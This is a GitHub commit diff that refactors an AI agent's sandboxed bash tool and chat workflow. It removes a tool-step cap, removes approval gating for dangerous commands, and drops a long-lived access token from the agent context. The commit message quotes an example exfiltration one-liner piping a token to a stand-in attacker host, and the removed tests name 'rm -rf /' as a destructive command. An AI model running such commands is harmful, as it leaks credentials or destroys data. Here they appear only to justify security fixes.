Skip to content

Commit 97ddf09

Browse files
sweetmantechclaude
andcommitted
refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure
Sweetman KISS/SRP feedback (4 comments): - Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's default stop condition handles tool-call iteration without an arbitrary cap that could silently truncate the only workflow turn. - Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from bashTool. All model-issued commands are trusted in this PR — host- side gating belongs at the route/UI layer if it ever returns. - Removed `needsApproval` from bashTool entirely (subsumes cubic P1 about the broken override ordering — the gate itself is gone). - Split `lib/agent/tools/utils.ts` into per-function files: - `AgentContext.ts` — type - `isAgentContext.ts` — guard - `getSandbox.ts` — sandbox reconnection No catch-all utils file. Cubic feedback: - **P0**: Removed `recoupAccessToken` from AgentContext + handler + buildRecoupExecEnv. Handing the long-lived api key to bash would let any model-issued command exfiltrate it via env (`echo $TOKEN | curl evil.com`). Slim PR 4 has no actual consumer for the token — only the future `skill` tool needs it. Proper short-lived token minting will land alongside that port. - **P2** (`isAgentContext` too weak): tightened the guard to validate sandbox.state is a non-null object AND sandbox.workingDirectory is a non-empty string. Earlier guard returned true for `{ sandbox: {} }`, letting tools later crash on undefined fields. - P1 + P2 about stopWhen / needsApproval: resolved by sweetman's deletions above. - P2 (test file >100 lines): dismissed — same as PR 3 review. The repo has no enforced max-lines rule; existing tests routinely exceed 700 lines. Tests updated for the new shape. 25 tests in touched files green (8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv + 2 factory). Full suite 2980/2980 pass; lint clean; production build succeeds. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
1 parent 9f02899 commit 97ddf09

13 files changed

Lines changed: 191 additions & 236 deletions

‎app/lib/workflows/runAgentStep.ts‎

Lines changed: 4 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,28 +1,20 @@
1-
import{
2-
streamText,
3-
convertToModelMessages,
4-
stepCountIs,
5-
typeUIMessage,
6-
typeUIMessageChunk,
7-
}from"ai";
1+
import{streamText,convertToModelMessages,typeUIMessage,typeUIMessageChunk}from"ai";
82
import{gateway}from"@ai-sdk/gateway";
93
import{agentCustomInstructions}from"@/lib/chat/agentCustomInstructions";
104
import{buildAgentTools}from"@/lib/agent/buildAgentTools";
11-
importtype{AgentContext}from"@/lib/agent/tools/utils";
5+
importtype{AgentContext}from"@/lib/agent/tools/AgentContext";
126

137
exporttypeRunAgentStepInput={
148
messages: UIMessage[];
159
modelId: string;
1610
writable: WritableStream<UIMessageChunk>;
1711
/**
1812
* Threaded into `streamText`'s `experimental_context` so each tool's
19-
* `execute` callback can read the sandbox state + per-prompt Recoup creds.
13+
* `execute` callback can read the sandbox state + per-prompt context.
2014
*/
2115
agentContext: AgentContext;
2216
};
2317

24-
constMAX_TOOL_STEPS=25;
25-
2618
/**
2719
* One LLM turn (with internal tool-call iteration) in the chat workflow.
2820
* Runs as a Vercel Workflow `"use step"` so:
@@ -32,7 +24,7 @@ const MAX_TOOL_STEPS = 25;
3224
* do not re-bill the model or re-execute tools.
3325
*
3426
* `streamText` drives the tool-call → tool-result → next-LLM-call loop
35-
* internally (up to `MAX_TOOL_STEPS` iterations). Our outer workflow stays
27+
* internally using its default stop condition. Our outer workflow stays
3628
* single-turn for now — multi-turn message threading lands when the rest
3729
* of the tool surface ports in a follow-up PR.
3830
*
@@ -55,7 +47,6 @@ export async function runAgentStep(input: RunAgentStepInput): Promise<{ finishRe
5547
system: agentCustomInstructions,
5648
messages: modelMessages,
5749
tools,
58-
stopWhen: stepCountIs(MAX_TOOL_STEPS),
5950
experimental_context: input.agentContext,
6051
});
6152

‎app/lib/workflows/runAgentWorkflow.ts‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
import{getWritable}from"workflow";
22
importtype{UIMessage,UIMessageChunk}from"ai";
33
import{runAgentStep}from"@/app/lib/workflows/runAgentStep";
4-
importtype{AgentContext}from"@/lib/agent/tools/utils";
4+
importtype{AgentContext}from"@/lib/agent/tools/AgentContext";
55

66
exporttypeRunAgentWorkflowInput={
77
messages: UIMessage[];

‎lib/agent/tools/AgentContext.ts‎

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
importtype{VercelState}from"@/lib/sandbox/vercel/state";
2+
3+
/**
4+
* Per-tool-call context threaded into the agent via `streamText`'s
5+
* `experimental_context`. Mirrors the open-agents `AgentContext` shape
6+
* (subset — slim PR 4 ports only the `bash` tool, so context only needs
7+
* what `bash` reads).
8+
*
9+
* Why no `recoupAccessToken` field? A short-lived per-prompt credential
10+
* would let sandbox tools (`skill`, the eventual `recoup-api` skill) call
11+
* back to recoup-api as the caller. We deliberately omit it here — the
12+
* legacy api-key path is too long-lived to expose inside a sandbox where
13+
* model-issued bash commands can read env. Proper short-lived token
14+
* minting lands alongside the `skill` tool port.
15+
*/
16+
exporttypeAgentContext={
17+
/**
18+
* Persistable sandbox state. Tools reconnect via `connectVercel(state)` —
19+
* we never pass a live `Sandbox` instance through context because
20+
* workflow durability requires replay-friendly inputs.
21+
*/
22+
sandbox: {
23+
state: VercelState;
24+
workingDirectory: string;
25+
currentBranch?: string;
26+
};
27+
/**
28+
* Organization UUID when the sandbox was opened against a recoupable
29+
* org repo (`org-<slug>-<uuid>`). Forwarded to sandboxed commands as
30+
* `RECOUP_ORG_ID` so future `recoup-api` skill calls scope to that org.
31+
* Public information — no security risk in exposing.
32+
*/
33+
recoupOrgId?: string;
34+
};

‎lib/agent/tools/__tests__/bashTool.test.ts‎

Lines changed: 6 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
import{describe,it,expect,vi,beforeEach}from"vitest";
2-
import{bashTool,commandNeedsApproval}from"@/lib/agent/tools/bashTool";
3-
2+
import{bashTool}from"@/lib/agent/tools/bashTool";
43
import{connectVercel}from"@/lib/sandbox/vercel/connect/connectVercel";
54

65
vi.mock("@/lib/sandbox/vercel/connect/connectVercel",()=>({
@@ -22,23 +21,6 @@ function makeSandbox(overrides: Record<string, unknown> = {}) {
2221

2322
beforeEach(()=>vi.clearAllMocks());
2423

25-
describe("commandNeedsApproval",()=>{
26-
it("flags `rm -rf` as needing approval",()=>{
27-
expect(commandNeedsApproval("rm -rf /")).toBe(true);
28-
expect(commandNeedsApproval("rm -rf node_modules")).toBe(true);
29-
});
30-
31-
it("does not flag safe commands",()=>{
32-
expect(commandNeedsApproval("ls -la")).toBe(false);
33-
expect(commandNeedsApproval("git status")).toBe(false);
34-
expect(commandNeedsApproval("npm install")).toBe(false);
35-
});
36-
37-
it("trims whitespace before matching",()=>{
38-
expect(commandNeedsApproval(" rm -rf foo ")).toBe(true);
39-
});
40-
});
41-
4224
describe("bashTool.execute",()=>{
4325
it("executes a command via sandbox.exec in the sandbox's working directory",async()=>{
4426
constsandbox=makeSandbox({
@@ -113,7 +95,7 @@ describe("bashTool.execute", () => {
11395
);
11496
});
11597

116-
it("injects RECOUP_ACCESS_TOKEN + RECOUP_ORG_ID into the exec env when present in context",async()=>{
98+
it("injects RECOUP_ORG_ID into the exec env when present in context",async()=>{
11799
constsandbox=makeSandbox({
118100
exec: vi.fn().mockResolvedValue({
119101
success: true,
@@ -127,17 +109,10 @@ describe("bashTool.execute", () => {
127109

128110
consttool=bashTool();
129111
awaittool.execute!({command: "curl example.com"},{
130-
experimental_context: {
131-
...baseContext,
132-
recoupAccessToken: "rk_abc",
133-
recoupOrgId: "org-uuid",
134-
},
112+
experimental_context: { ...baseContext,recoupOrgId: "org-uuid"},
135113
}asnever);
136114
constopts=sandbox.exec.mock.calls[0]?.[3]as{env?: Record<string,string>};
137-
expect(opts.env).toEqual({
138-
RECOUP_ACCESS_TOKEN: "rk_abc",
139-
RECOUP_ORG_ID: "org-uuid",
140-
});
115+
expect(opts.env).toEqual({RECOUP_ORG_ID: "org-uuid"});
141116
});
142117

143118
it("returns the detached commandId when called with detached:true",async()=>{
@@ -167,18 +142,15 @@ describe("bashTool.execute", () => {
167142
expect(result.stderr).toMatch(/detachedmodeisnotsupported/i);
168143
});
169144

170-
it("does NOT inject RECOUP env vars on detached execs (token is per-prompt only)",async()=>{
145+
it("does NOT inject env vars on detached execs",async()=>{
171146
constsandbox=makeSandbox({
172147
execDetached: vi.fn().mockResolvedValue({commandId: "cmd-1"}),
173148
});
174149
vi.mocked(connectVercel).mockResolvedValue(sandboxasnever);
175150

176151
consttool=bashTool();
177152
awaittool.execute!({command: "npm run dev",detached: true},{
178-
experimental_context: {
179-
...baseContext,
180-
recoupAccessToken: "rk_abc",
181-
},
153+
experimental_context: { ...baseContext,recoupOrgId: "org-uuid"},
182154
}asnever);
183155
// execDetached signature is (command, cwd) — no env arg.
184156
expect(sandbox.execDetached.mock.calls[0]).toHaveLength(2);
Lines changed: 15 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -1,45 +1,31 @@
11
import{describe,it,expect}from"vitest";
22
import{buildRecoupExecEnv}from"@/lib/agent/tools/buildRecoupExecEnv";
33

4+
constbaseSandbox={state: {sandboxName: "x"},workingDirectory: "/sandbox/mono"};
5+
46
describe("buildRecoupExecEnv",()=>{
5-
it("returns undefined when neither token nor orgId is in context",()=>{
7+
it("returns undefined when no context",()=>{
68
expect(buildRecoupExecEnv(undefined)).toBeUndefined();
7-
expect(buildRecoupExecEnv({sandbox: {state: {},workingDirectory: "/x"}})).toBeUndefined();
9+
expect(buildRecoupExecEnv(null)).toBeUndefined();
10+
expect(buildRecoupExecEnv("not-a-context")).toBeUndefined();
811
});
912

10-
it("injects RECOUP_ACCESS_TOKEN when present",()=>{
11-
constenv=buildRecoupExecEnv({
12-
sandbox: {state: {},workingDirectory: "/x"},
13-
recoupAccessToken: "rk_abc",
14-
});
15-
expect(env).toEqual({RECOUP_ACCESS_TOKEN: "rk_abc"});
13+
it("returns undefined when context has no recoupOrgId",()=>{
14+
expect(buildRecoupExecEnv({sandbox: baseSandbox})).toBeUndefined();
1615
});
1716

18-
it("injects RECOUP_ORG_ID when present",()=>{
19-
constenv=buildRecoupExecEnv({
20-
sandbox: {state: {},workingDirectory: "/x"},
21-
recoupOrgId: "org-uuid",
22-
});
17+
it("injects RECOUP_ORG_ID when present in context",()=>{
18+
constenv=buildRecoupExecEnv({sandbox: baseSandbox,recoupOrgId: "org-uuid"});
2319
expect(env).toEqual({RECOUP_ORG_ID: "org-uuid"});
2420
});
2521

26-
it("injects both when both present",()=>{
27-
constenv=buildRecoupExecEnv({
28-
sandbox: {state: {},workingDirectory: "/x"},
29-
recoupAccessToken: "rk_abc",
30-
recoupOrgId: "org-uuid",
31-
});
32-
expect(env).toEqual({
33-
RECOUP_ACCESS_TOKEN: "rk_abc",
34-
RECOUP_ORG_ID: "org-uuid",
35-
});
22+
it("ignores empty-string recoupOrgId",()=>{
23+
constenv=buildRecoupExecEnv({sandbox: baseSandbox,recoupOrgId: ""});
24+
expect(env).toBeUndefined();
3625
});
3726

38-
it("ignores empty-string token (avoids injecting `RECOUP_ACCESS_TOKEN=`)",()=>{
39-
constenv=buildRecoupExecEnv({
40-
sandbox: {state: {},workingDirectory: "/x"},
41-
recoupAccessToken: "",
42-
});
43-
expect(env).toBeUndefined();
27+
it("returns undefined when the input is not a valid AgentContext shape",()=>{
28+
expect(buildRecoupExecEnv({recoupOrgId: "org-uuid"})).toBeUndefined();
29+
expect(buildRecoupExecEnv({sandbox: null,recoupOrgId: "org-uuid"})).toBeUndefined();
4430
});
4531
});
Lines changed: 9 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
import{describe,it,expect,vi,beforeEach}from"vitest";
2-
import{isAgentContext,getSandbox}from"@/lib/agent/tools/utils";
3-
2+
import{getSandbox}from"@/lib/agent/tools/getSandbox";
43
import{connectVercel}from"@/lib/sandbox/vercel/connect/connectVercel";
54

65
vi.mock("@/lib/sandbox/vercel/connect/connectVercel",()=>({
@@ -9,27 +8,6 @@ vi.mock("@/lib/sandbox/vercel/connect/connectVercel", () => ({
98

109
beforeEach(()=>vi.clearAllMocks());
1110

12-
describe("isAgentContext",()=>{
13-
it("returns true for a well-formed agent context",()=>{
14-
expect(
15-
isAgentContext({
16-
sandbox: {state: {},workingDirectory: "/sandbox/mono"},
17-
}),
18-
).toBe(true);
19-
});
20-
21-
it("returns false for non-object inputs",()=>{
22-
expect(isAgentContext(undefined)).toBe(false);
23-
expect(isAgentContext(null)).toBe(false);
24-
expect(isAgentContext("nope")).toBe(false);
25-
expect(isAgentContext(42)).toBe(false);
26-
});
27-
28-
it("returns false when `sandbox` is missing",()=>{
29-
expect(isAgentContext({model: {}})).toBe(false);
30-
});
31-
});
32-
3311
describe("getSandbox",()=>{
3412
it("reconnects via connectVercel(state) and returns the sandbox",async()=>{
3513
constfakeSandbox={workingDirectory: "/sandbox/mono"};
@@ -43,13 +21,19 @@ describe("getSandbox", () => {
4321
expect(connectVercel).toHaveBeenCalledWith(state);
4422
});
4523

46-
it("throws a descriptive error when context is missing",async()=>{
24+
it("throws a descriptive error when context is missing entirely",async()=>{
4725
awaitexpect(getSandbox(undefined,"bash")).rejects.toThrow(/Sandboxstatemissing/);
4826
});
4927

50-
it("throws when context.sandbox.state is missing",async()=>{
28+
it("throws when sandbox.state is missing",async()=>{
5129
awaitexpect(
5230
getSandbox({sandbox: {workingDirectory: "/x"}}asnever,"bash"),
5331
).rejects.toThrow(/Sandboxstatemissing/);
5432
});
33+
34+
it("throws when sandbox.workingDirectory is empty (tightened guard)",async()=>{
35+
awaitexpect(
36+
getSandbox({sandbox: {state: {},workingDirectory: ""}}asnever,"bash"),
37+
).rejects.toThrow(/Sandboxstatemissing/);
38+
});
5539
});
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
import{describe,it,expect}from"vitest";
2+
import{isAgentContext}from"@/lib/agent/tools/isAgentContext";
3+
4+
describe("isAgentContext",()=>{
5+
it("returns true for a well-formed context",()=>{
6+
expect(
7+
isAgentContext({
8+
sandbox: {state: {sandboxName: "x"},workingDirectory: "/sandbox/mono"},
9+
}),
10+
).toBe(true);
11+
});
12+
13+
it("returns false for non-object inputs",()=>{
14+
expect(isAgentContext(undefined)).toBe(false);
15+
expect(isAgentContext(null)).toBe(false);
16+
expect(isAgentContext("nope")).toBe(false);
17+
expect(isAgentContext(42)).toBe(false);
18+
});
19+
20+
it("returns false when sandbox is missing",()=>{
21+
expect(isAgentContext({})).toBe(false);
22+
});
23+
24+
it("returns false when sandbox is null",()=>{
25+
expect(isAgentContext({sandbox: null})).toBe(false);
26+
});
27+
28+
it("returns false when sandbox is empty (missing state and workingDirectory)",()=>{
29+
expect(isAgentContext({sandbox: {}})).toBe(false);
30+
});
31+
32+
it("returns false when sandbox.state is missing or null",()=>{
33+
expect(isAgentContext({sandbox: {workingDirectory: "/x"}})).toBe(false);
34+
expect(isAgentContext({sandbox: {state: null,workingDirectory: "/x"}})).toBe(false);
35+
});
36+
37+
it("returns false when sandbox.workingDirectory is missing, non-string, or empty",()=>{
38+
expect(isAgentContext({sandbox: {state: {}}})).toBe(false);
39+
expect(isAgentContext({sandbox: {state: {},workingDirectory: 42}})).toBe(false);
40+
expect(isAgentContext({sandbox: {state: {},workingDirectory: ""}})).toBe(false);
41+
});
42+
});

0 commit comments

Comments
 (0)